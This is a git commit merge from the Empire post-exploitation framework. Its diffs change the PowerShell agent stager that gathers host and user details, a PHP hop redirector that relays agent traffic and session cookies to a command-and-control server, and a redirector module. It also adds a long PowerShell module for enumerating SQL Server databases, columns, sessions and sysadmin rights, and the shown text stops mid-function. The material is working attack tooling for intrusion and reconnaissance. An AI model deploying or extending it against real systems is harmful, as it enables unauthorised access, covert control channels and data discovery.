Merge branch 'EmpireProject-2.0_beta' into 2.0_beta

mdns
cobbr 2017-04-22 21:10:31 -05:00
commit 4340a6679e
44 changed files with 14582 additions and 3842 deletions

View File

@ -10,6 +10,8 @@ Empire is developed by [@harmj0y](https://twitter.com/harmj0y), [@sixdub](https:
Feel free to join us on Slack! http://adaptiveempire.herokuapp.com/ Feel free to join us on Slack! http://adaptiveempire.herokuapp.com/
Feel free to join us on Slack! http://adaptiveempire.herokuapp.com/
## Contribution Rules ## Contribution Rules
Contributions are more than welcome! The more people who contribute to the project the better Empire will be for everyone. Below are a few guidelines for submitting contributions. Contributions are more than welcome! The more people who contribute to the project the better Empire will be for everyone. Below are a few guidelines for submitting contributions.

View File

@ -222,7 +222,7 @@ function Invoke-Empire {
$str += '|' + [Environment]::UserDomainName+'|'+[Environment]::UserName+'|'+[Environment]::MachineName; $str += '|' + [Environment]::UserDomainName+'|'+[Environment]::UserName+'|'+[Environment]::MachineName;
$p = (Get-WmiObject Win32_NetworkAdapterConfiguration|Where{$_.IPAddress}|Select -Expand IPAddress); $p = (Get-WmiObject Win32_NetworkAdapterConfiguration|Where{$_.IPAddress}|Select -Expand IPAddress);
$ip = @{$true=$p[0];$false=$p}[$p.Length -lt 6]; $ip = @{$true=$p[0];$false=$p}[$p.Length -lt 6];
if(!$ip -or $ip.trim() -eq '') {$ip='0.0.0.0'}; #if(!$ip -or $ip.trim() -eq '') {$ip='0.0.0.0'};
$str+="|$ip" $str+="|$ip"
$str += '|' +(Get-WmiObject Win32_OperatingSystem).Name.split('|')[0]; $str += '|' +(Get-WmiObject Win32_OperatingSystem).Name.split('|')[0];

View File

@ -1,18 +1,22 @@
<?php <?php
$server = rtrim("REPLACE_SERVER", '/'); $server = rtrim("REPLACE_SERVER", '/');
$hopName = "REPLACE_HOP_NAME";
function do_get_request($url, $optionalHeaders = null) function do_get_request($url, $optionalHeaders = null)
{ {
global $hopName;
$aContext = array( $aContext = array(
'http' => array( 'http' => array(
'method' => 'GET' 'method' => 'GET'
), ),
); );
$headers = array('Hop-Name' => $hopName);
if ($optionalHeaders !== null) { if ($optionalHeaders !== null) {
$aContext['http']['header'] = $optionalHeaders; $headers['Cookie'] = $optionalHeaders;
} }
$aContext['http']['header'] = prepareHeaders($headers);
$cxContext = stream_context_create($aContext); $cxContext = stream_context_create($aContext);
echo file_get_contents($url, False, $cxContext); echo file_get_contents($url, False, $cxContext);
} }
@ -20,13 +24,16 @@ function do_get_request($url, $optionalHeaders = null)
function do_post_request($url, $data, $optionalHeaders = null) function do_post_request($url, $data, $optionalHeaders = null)
{ {
global $hopName;
$params = array('http' => array( $params = array('http' => array(
'method' => 'POST', 'method' => 'POST',
'content' => $data 'content' => $data
)); ));
$headers = array('Hop-Name' => $hopName);
if ($optionalHeaders !== null) { if ($optionalHeaders !== null) {
$params['http']['header'] = $optionalHeaders; $headers['Cookie'] = $optionalHeaders;
} }
$params['http']['header'] = prepareHeaders($headers);
$ctx = stream_context_create($params); $ctx = stream_context_create($params);
$fp = @fopen($url, 'rb', false, $ctx); $fp = @fopen($url, 'rb', false, $ctx);
if (!$fp) { if (!$fp) {
@ -39,11 +46,24 @@ function do_post_request($url, $data, $optionalHeaders = null)
echo $response; echo $response;
} }
function prepareHeaders($headers) {
$flattened = array();
foreach ($headers as $key => $header) {
if (is_int($key)) {
$flattened[] = $header;
} else {
$flattened[] = $key.': '.$header;
}
}
return implode("\r\n", $flattened);
}
if ($_SERVER['REQUEST_METHOD'] === 'GET') { if ($_SERVER['REQUEST_METHOD'] === 'GET') {
$requestURI = $_SERVER['REQUEST_URI']; $requestURI = $_SERVER['REQUEST_URI'];
if(isset($_COOKIE['session'])) { if(isset($_COOKIE['session'])) {
return do_get_request($server.$requestURI, "Cookie: session=".str_replace(' ', '+', $_COOKIE['session'])); return do_get_request($server.$requestURI, "session=".str_replace(' ', '+', $_COOKIE['session']));
} }
else { else {
return do_get_request($server.$requestURI); return do_get_request($server.$requestURI);
@ -56,7 +76,7 @@ else {
$postdata = file_get_contents("php://input"); $postdata = file_get_contents("php://input");
if(isset($_COOKIE['session'])) { if(isset($_COOKIE['session'])) {
return do_post_request($server.$requestURI, $postdata, "Cookie: session=".str_replace(' ', '+', $_COOKIE['session'])); return do_post_request($server.$requestURI, $postdata, "session=".str_replace(' ', '+', $_COOKIE['session']));
} }
else { else {
return do_post_request($server.$requestURI, $postdata); return do_post_request($server.$requestURI, $postdata);

View File

@ -1,5 +1,4 @@
from lib.common import helpers from lib.common import helpers
class Module: class Module:
def __init__(self, mainMenu, params=[]): def __init__(self, mainMenu, params=[]):
@ -166,8 +165,8 @@ Invoke-Redirector"""
else: else:
listenerName = values['Value'] listenerName = values['Value']
# get the listener options and set them for the script # get the listener options and set them for the script
[ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit] = self.mainMenu.listeners.get_listener(values['Value']) [Name,Host,Port,CertPath,StagingKey,DefaultDelay,DefaultJitter,DefaultProfile,KillDate,WorkingHours,DefaultLostLimit,BindIP,ServerVersion] = self.mainMenu.listeners.activeListeners[listenerName]['options']
script += " -ConnectHost " + str(host) script += " -ConnectHost " + str(Host)
elif option.lower() != "agent": elif option.lower() != "agent":
# check if we're adding this redirector as a pivot listener # check if we're adding this redirector as a pivot listener

View File

@ -0,0 +1,929 @@
Function Get-ComputerNameFromInstance {
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server instance.')]
[string]$Instance
)
If ($Instance){$ComputerName = $Instance.split('\')[0].split(',')[0]}
else{$ComputerName = $env:COMPUTERNAME}
Return $ComputerName
}
Function Get-SQLConnectionObject {
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
HelpMessage = 'Dedicated Administrator Connection (DAC).')]
[Switch]$DAC,
[Parameter(Mandatory = $false,
HelpMessage = 'Default database to connect to.')]
[String]$Database,
[Parameter(Mandatory = $false,
HelpMessage = 'Connection timeout.')]
[string]$TimeOut = 1
)
Begin {
if($DAC){$DacConn = 'ADMIN:'}else{$DacConn = ''}
if(-not $Database){$Database = 'Master'}
} Process {
if (-not $Instance) { $Instance = $env:COMPUTERNAME }
$Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection
if(-not $Username) {
$AuthenticationType = "Current Windows Credentials"
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1"
}
elseif ($username -like "*\*") {
$AuthenticationType = "Provided Windows Credentials"
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut"
}
elseif (($username) -and ($username -notlike "*\*")) {
$AuthenticationType = "Provided SQL Login"
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut"
}
return $Connection
} End {
}
}
Function Get-SQLConnectionTest {
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
HelpMessage = 'Connect using Dedicated Admin Connection.')]
[Switch]$DAC,
[Parameter(Mandatory = $false,
HelpMessage = 'Default database to connect to.')]
[String]$Database,
[Parameter(Mandatory = $false,
HelpMessage = 'Connection timeout.')]
[string]$TimeOut
)
Begin {
$TblResults = New-Object -TypeName System.Data.DataTable
$null = $TblResults.Columns.Add('ComputerName')
$null = $TblResults.Columns.Add('Instance')
$null = $TblResults.Columns.Add('Status')
} Process {
if(-not $Instance) { $Instance = $env:COMPUTERNAME }
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
if($DAC) {
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -DAC -TimeOut $TimeOut -Database $Database
} else {
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database
}
try {
$Connection.Open()
$null = $TblResults.Rows.Add("$ComputerName","$Instance",'Accessible')
$Connection.Close()
$Connection.Dispose()
} catch {
$ErrorMessage = $_.Exception.Message
"$Instance : Connection Failed."
"Error: $ErrorMessage"
}
$null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible')
} End {
$TblResults
}
}
Function Get-SQLQuery2 {
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server query.')]
[string]$Query,
[Parameter(Mandatory = $false,
HelpMessage = 'Connect using Dedicated Admin Connection.')]
[Switch]$DAC,
[Parameter(Mandatory = $false,
HelpMessage = 'Default database to connect to.')]
[String]$Database,
[Parameter(Mandatory = $false,
HelpMessage = 'Connection timeout.')]
[int]$TimeOut,
[Parameter(Mandatory = $false,
HelpMessage = 'Return error message if exists.')]
[switch]$ReturnError
)
Begin {
$TblQueryResults = New-Object -TypeName System.Data.DataTable
} Process {
if($DAC){$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -DAC -Database $Database}
else{$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database}
$ConnectionString = $Connection.Connectionstring
$Instance = $ConnectionString.split(';')[0].split('=')[1]
if($Query) {
$Connection.Open()
"$Instance : Connection Success."
$Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection)
try {
$Results = $Command.ExecuteReader()
$TblQueryResults.Load($Results)
} catch {
#pass
}
$Connection.Close()
$Connection.Dispose()
}
else{'No query provided to Get-SQLQuery function.';Break}
} End {
if($ReturnError){$ErrorMessage}
else{$TblQueryResults}
}
}
Function Get-SQLQuery {
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server query.')]
[string]$Query,
[Parameter(Mandatory = $false,
HelpMessage = 'Connect using Dedicated Admin Connection.')]
[Switch]$DAC,
[Parameter(Mandatory = $false,
HelpMessage = 'Default database to connect to.')]
[String]$Database,
[Parameter(Mandatory = $false,
HelpMessage = 'Connection timeout.')]
[int]$TimeOut,
[Parameter(Mandatory = $false,
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
[switch]$SuppressVerbose,
[Parameter(Mandatory = $false,
HelpMessage = 'Return error message if exists.')]
[switch]$ReturnError
)
Begin {
$TblQueryResults = New-Object -TypeName System.Data.DataTable
} Process {
if($DAC) {
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -DAC -Database $Database
} else {
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database
}
$ConnectionString = $Connection.Connectionstring
$Instance = $ConnectionString.split(';')[0].split('=')[1]
if($Query) {
try {
$Connection.Open()
$Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection)
$Results = $Command.ExecuteReader()
$TblQueryResults.Load($Results)
$Connection.Close()
$Connection.Dispose()
} catch {
#Pass
}
}
else
{
Write-Output -InputObject 'No query provided to Get-SQLQuery function.'
Break
}
}
End
{
$TblQueryResults
}
}
Function Get-SQLColumn {
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'Database name.')]
[string]$DatabaseName,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'Table name.')]
[string]$TableName,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'Filter by exact column name.')]
[string]$ColumnName,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'Column name using wildcards in search. Supports comma seperated list.')]
[string]$ColumnNameSearch,
[Parameter(Mandatory = $false,
HelpMessage = "Don't select tables from default databases.")]
[switch]$NoDefaults,
[Parameter(Mandatory = $false,
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
[switch]$SuppressVerbose
)
Begin
{
# Table for output
$TblColumns = New-Object -TypeName System.Data.DataTable
# Setup table filter
if($TableName)
{
$TableNameFilter = " and TABLE_NAME like '%$TableName%'"
}
else
{
$TableNameFilter = ''
}
# Setup column filter
if($ColumnName)
{
$ColumnFilter = " and column_name like '$ColumnName'"
}
else
{
$ColumnFilter = ''
}
# Setup column filter
if($ColumnNameSearch)
{
$ColumnSearchFilter = " and column_name like '%$ColumnNameSearch%'"
}
else
{
$ColumnSearchFilter = ''
}
# Setup column search filter
if($ColumnNameSearch)
{
$Keywords = $ColumnNameSearch.split(',')
[int]$i = $Keywords.Count
while ($i -gt 0)
{
$i = $i - 1
$Keyword = $Keywords[$i]
if($i -eq ($Keywords.Count -1))
{
$ColumnSearchFilter = "and column_name like '%$Keyword%'"
}
else
{
$ColumnSearchFilter = $ColumnSearchFilter + " or column_name like '%$Keyword%'"
}
}
}
}
Process
{
# Note: Tables queried by this function typically require sysadmin or DBO privileges.
# Parse computer name from the instance
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
# Default connection to local default instance
if(-not $Instance)
{
$Instance = $env:COMPUTERNAME
}
# Test connection to instance
$TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | Where-Object -FilterScript {
$_.Status -eq 'Accessible'
}
if($TestConnection)
{
if( -not $SuppressVerbose)
{
Write-Verbose -Message "$Instance : Connection Success."
}
}
else
{
if( -not $SuppressVerbose)
{
Write-Verbose -Message "$Instance : Connection Failed."
}
return
}
# Setup NoDefault filter
if($NoDefaults)
{
# Get list of databases
$TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -DatabaseName $DatabaseName -HasAccess -NoDefaults
}
else
{
# Get list of databases
$TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -DatabaseName $DatabaseName -HasAccess
}
# Get tables for each database
$TblDatabases |
ForEach-Object -Process {
# Get database name
$DbName = $_.DatabaseName
# Define Query
$Query = " USE $DbName;
SELECT '$ComputerName' as [ComputerName],
'$Instance' as [Instance],
TABLE_CATALOG AS [DatabaseName],
TABLE_SCHEMA AS [SchemaName],
TABLE_NAME as [TableName],
COLUMN_NAME as [ColumnName],
DATA_TYPE as [ColumnDataType],
CHARACTER_MAXIMUM_LENGTH as [ColumnMaxLength]
FROM [$DbName].[INFORMATION_SCHEMA].[COLUMNS] WHERE 1=1
$ColumnSearchFilter
$ColumnFilter
$TableNameFilter
ORDER BY TABLE_CATALOG, TABLE_SCHEMA, TABLE_NAME"
# Execute Query
$TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password
# Append results
$TblColumns = $TblColumns + $TblResults
}
}
End
{
# Return data
$TblColumns
}
}
Function Get-SQLDatabase {
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
ValueFromPipeline = $true,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'Database name.')]
[string]$DatabaseName,
[Parameter(Mandatory = $false,
HelpMessage = 'Only select non default databases.')]
[switch]$NoDefaults,
[Parameter(Mandatory = $false,
HelpMessage = 'Only select databases the current user has access to.')]
[switch]$HasAccess,
[Parameter(Mandatory = $false,
HelpMessage = 'Only select databases owned by a sysadmin.')]
[switch]$SysAdminOnly,
[Parameter(Mandatory = $false,
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
[switch]$SuppressVerbose
)
Begin {
$TblResults = New-Object -TypeName System.Data.DataTable
$TblDatabases = New-Object -TypeName System.Data.DataTable
$null = $TblDatabases.Columns.Add('ComputerName')
$null = $TblDatabases.Columns.Add('Instance')
$null = $TblDatabases.Columns.Add('DatabaseId')
$null = $TblDatabases.Columns.Add('DatabaseName')
$null = $TblDatabases.Columns.Add('DatabaseOwner')
$null = $TblDatabases.Columns.Add('OwnerIsSysadmin')
$null = $TblDatabases.Columns.Add('is_trustworthy_on')
$null = $TblDatabases.Columns.Add('is_db_chaining_on')
$null = $TblDatabases.Columns.Add('is_broker_enabled')
$null = $TblDatabases.Columns.Add('is_encrypted')
$null = $TblDatabases.Columns.Add('is_read_only')
$null = $TblDatabases.Columns.Add('create_date')
$null = $TblDatabases.Columns.Add('recovery_model_desc')
$null = $TblDatabases.Columns.Add('FileName')
$null = $TblDatabases.Columns.Add('DbSizeMb')
$null = $TblDatabases.Columns.Add('has_dbaccess')
if($DatabaseName) {
$DatabaseFilter = " and a.name like '$DatabaseName'"
} else {
$DatabaseFilter = ''
}
if($NoDefaults) {
$NoDefaultsFilter = " and a.name not in ('master','tempdb','msdb','model')"
} else {
$NoDefaultsFilter = ''
}
if($HasAccess) {
$HasAccessFilter = ' and HAS_DBACCESS(a.name)=1'
} else {
$HasAccessFilter = ''
}
if($SysAdminOnly) {
$SysAdminOnlyFilter = " and IS_SRVROLEMEMBER('sysadmin',SUSER_SNAME(a.owner_sid))=1"
} else {
$SysAdminOnlyFilter = ''
}
} Process {
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
if(-not $Instance) {
$Instance = $env:COMPUTERNAME
}
$TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | Where-Object -FilterScript {
$_.Status -eq 'Accessible'
}
if($TestConnection) {
if( -not $SuppressVerbose) {
"$Instance : Connection Success."
}
} else {
if( -not $SuppressVerbose) {
"$Instance : Connection Failed."
}
return
}
$SQLServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password
if($SQLServerInfo.SQLServerVersionNumber) {
$SQLVersionShort = $SQLServerInfo.SQLServerVersionNumber.Split('.')[0]
}
$QueryStart = " SELECT '$ComputerName' as [ComputerName],
'$Instance' as [Instance],
a.database_id as [DatabaseId],
a.name as [DatabaseName],
SUSER_SNAME(a.owner_sid) as [DatabaseOwner],
IS_SRVROLEMEMBER('sysadmin',SUSER_SNAME(a.owner_sid)) as [OwnerIsSysadmin],
a.is_trustworthy_on,
a.is_db_chaining_on,"
if([int]$SQLVersionShort -ge 10) {
$QueryVerSpec = '
a.is_broker_enabled,
a.is_encrypted,
a.is_read_only,'
}
$QueryEnd = '
a.create_date,
a.recovery_model_desc,
b.filename as [FileName],
(SELECT CAST(SUM(size) * 8. / 1024 AS DECIMAL(8,2))
from sys.master_files where name like a.name) as [DbSizeMb],
HAS_DBACCESS(a.name) as [has_dbaccess]
FROM [sys].[databases] a
INNER JOIN [sys].[sysdatabases] b ON a.database_id = b.dbid WHERE 1=1'
$Filters = "
$DatabaseFilter
$NoDefaultsFilter
$HasAccessFilter
$SysAdminOnlyFilter
ORDER BY a.database_id"
$Query = "$QueryStart $QueryVerSpec $QueryEnd $Filters"
$TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password
$TblResults | ForEach-Object -Process {
if([int]$SQLVersionShort -ge 10) {
$is_broker_enabled = $_.is_broker_enabled
$is_encrypted = $_.is_encrypted
$is_read_only = $_.is_read_only
} else {
$is_broker_enabled = 'NA'
$is_encrypted = 'NA'
$is_read_only = 'NA'
}
$null = $TblDatabases.Rows.Add(
$_.ComputerName,
$_.Instance,
$_.DatabaseId,
$_.DatabaseName,
$_.DatabaseOwner,
$_.OwnerIsSysadmin,
$_.is_trustworthy_on,
$_.is_db_chaining_on,
$is_broker_enabled,
$is_encrypted,
$is_read_only,
$_.create_date,
$_.recovery_model_desc,
$_.FileName,
$_.DbSizeMb,
$_.has_dbaccess
)
}
} End {
$TblDatabases
}
}
Function Get-SQLServerInfo {
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance
)
Begin {
$TblServerInfo = New-Object -TypeName System.Data.DataTable
} Process {
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
if(-not $Instance) {
$Instance = $env:COMPUTERNAME
}
$TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password |
? -FilterScript {
$_.Status -eq 'Accessible'
}
if(-not $TestConnection) {
"$Instance : Connection Failed."
return
}
$ActiveSessions = Get-SQLSession -Instance $Instance -Username $Username -Password $Password |
? -FilterScript { $_.SessionStatus -eq 'running' } | measure -Line | select -Property Lines -ExpandProperty Lines
$IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Username $Username -Password $Password
if($IsSysadmin.IsSysadmin -eq 'Yes') {
$SysadminSetup = "
DECLARE @MachineType SYSNAME
EXECUTE master.dbo.xp_regread
@rootkey = N'HKEY_LOCAL_MACHINE',
@key = N'SYSTEM\CurrentControlSet\Control\ProductOptions',
@value_name = N'ProductType',
@value = @MachineType output
DECLARE @ProductName SYSNAME
EXECUTE master.dbo.xp_regread
@rootkey = N'HKEY_LOCAL_MACHINE',
@key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion',
@value_name = N'ProductName',
@value = @ProductName output"
$SysadminQuery = ' @MachineType as [OsMachineType],
@ProductName as [OSVersionName],'
} else {
$SysadminSetup = ''
$SysadminQuery = ''
}
$Query = "
DECLARE @SQLServerInstance varchar(250)
DECLARE @SQLServerServiceName varchar(250)
if @@SERVICENAME = 'MSSQLSERVER'
BEGIN
set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLSERVER'
set @SQLServerServiceName = 'MSSQLSERVER'
END
ELSE
BEGIN
set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQL$'+cast(@@SERVICENAME as varchar(250))
set @SQLServerServiceName = 'MSSQL$'+cast(@@SERVICENAME as varchar(250))
END
DECLARE @ServiceaccountName varchar(250)
EXECUTE master.dbo.xp_instance_regread
N'HKEY_LOCAL_MACHINE', @SQLServerInstance,
N'ObjectName',@ServiceAccountName OUTPUT, N'no_output'
DECLARE @AuthenticationMode INT
EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
N'Software\Microsoft\MSSQLServer\MSSQLServer',
N'LoginMode', @AuthenticationMode OUTPUT
$SysadminSetup
SELECT '$ComputerName' as [ComputerName],
@@servername as [Instance],
DEFAULT_DOMAIN() as [DomainName],
@SQLServerServiceName as [ServiceName],
@ServiceAccountName as [ServiceAccount],
(SELECT CASE @AuthenticationMode
WHEN 1 THEN 'Windows Authentication'
WHEN 2 THEN 'Windows and SQL Server Authentication'
ELSE 'Unknown'
END) as [AuthenticationMode],
CASE SERVERPROPERTY('IsClustered')
WHEN 0
THEN 'No'
ELSE 'Yes'
END as [Clustered],
SERVERPROPERTY('productversion') as [SQLServerVersionNumber],
SUBSTRING(@@VERSION, CHARINDEX('2', @@VERSION), 4) as [SQLServerMajorVersion],
serverproperty('Edition') as [SQLServerEdition],
SERVERPROPERTY('ProductLevel') AS [SQLServerServicePack],
SUBSTRING(@@VERSION, CHARINDEX('x', @@VERSION), 3) as [OSArchitecture],
$SysadminQuery
RIGHT(SUBSTRING(@@VERSION, CHARINDEX('Windows NT', @@VERSION), 14), 3) as [OsVersionNumber],
SYSTEM_USER as [Currentlogin],
'$IsSysadmin' as [IsSysadmin],
'$ActiveSessions' as [ActiveSessions]"
$TblServerInfoTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password
$TblServerInfo = $TblServerInfo + $TblServerInfoTemp
$TblServerInfo
} End {
}
}
Function Get-SQLSession {
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
HelpMessage = 'PrincipalName.')]
[string]$PrincipalName
)
Begin {
$TblSessions = New-Object -TypeName System.Data.DataTable
$null = $TblSessions.Columns.Add('ComputerName')
$null = $TblSessions.Columns.Add('Instance')
$null = $TblSessions.Columns.Add('PrincipalSid')
$null = $TblSessions.Columns.Add('PrincipalName')
$null = $TblSessions.Columns.Add('OriginalPrincipalName')
$null = $TblSessions.Columns.Add('SessionId')
$null = $TblSessions.Columns.Add('SessionStartTime')
$null = $TblSessions.Columns.Add('SessionLoginTime')
$null = $TblSessions.Columns.Add('SessionStatus')
if($PrincipalName) {
$PrincipalNameFilter = " and login_name like '$PrincipalName'"
} else {
$PrincipalNameFilter = ''
}
} Process {
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
if(-not $Instance) {
$Instance = $env:COMPUTERNAME
}
$TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | ? -FilterScript {
$_.Status -eq 'Accessible'
}
if(-not $TestConnection) {
"$Instance : Connection Failed."
return
}
$Query = " USE master;
SELECT '$ComputerName' as [ComputerName],
'$Instance' as [Instance],
security_id as [PrincipalSid],
login_name as [PrincipalName],
original_login_name as [OriginalPrincipalName],
session_id as [SessionId],
last_request_start_time as [SessionStartTime],
login_time as [SessionLoginTime],
status as [SessionStatus]
FROM [sys].[dm_exec_sessions]
ORDER BY status
$PrincipalNameFilter"
$TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password
$TblResults | % -Process {
if ($NewSid) {
$NewSid = [System.BitConverter]::ToString($_.PrincipalSid).Replace('-','')
if ($NewSid.length -le 10) {
$Sid = [Convert]::ToInt32($NewSid,16)
} else {
$Sid = $NewSid
}
$null = $TblSessions.Rows.Add(
[string]$_.ComputerName,
[string]$_.Instance,
$Sid,
[string]$_.PrincipalName,
[string]$_.OriginalPrincipalName,
[string]$_.SessionId,
[string]$_.SessionStartTime,
[string]$_.SessionLoginTime,
[string]$_.SessionStatus
)
}
}
} End {
$TblSessions
}
}
Function Get-SQLSysadminCheck {
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance
)
Begin {
$TblSysadminStatus = New-Object -TypeName System.Data.DataTable
if($CredentialName) {
$CredentialNameFilter = " WHERE name like '$CredentialName'"
} else {
$CredentialNameFilter = ''
}
} Process {
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
if(-not $Instance) {
$Instance = $env:COMPUTERNAME
}
$TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password |
? -FilterScript { $_.Status -eq 'Accessible' }
if(-not $TestConnection) {
"$Instance : Connection Failed."
return
}
$Query = "SELECT '$ComputerName' as [ComputerName],
'$Instance' as [Instance],
CASE
WHEN IS_SRVROLEMEMBER('sysadmin') = 0 THEN 'No'
ELSE 'Yes'
END as IsSysadmin"
$TblSysadminStatusTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password
$TblSysadminStatus = $TblSysadminStatus + $TblSysadminStatusTemp
} End {
$TblSysadminStatus
}
}
Function Get-SQLColumnSampleData {
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
HelpMessage = "Don't output anything.")]
[switch]$NoOutput,
[Parameter(Mandatory = $false,
HelpMessage = 'Number of records to sample.')]
[int]$SampleSize = 1,
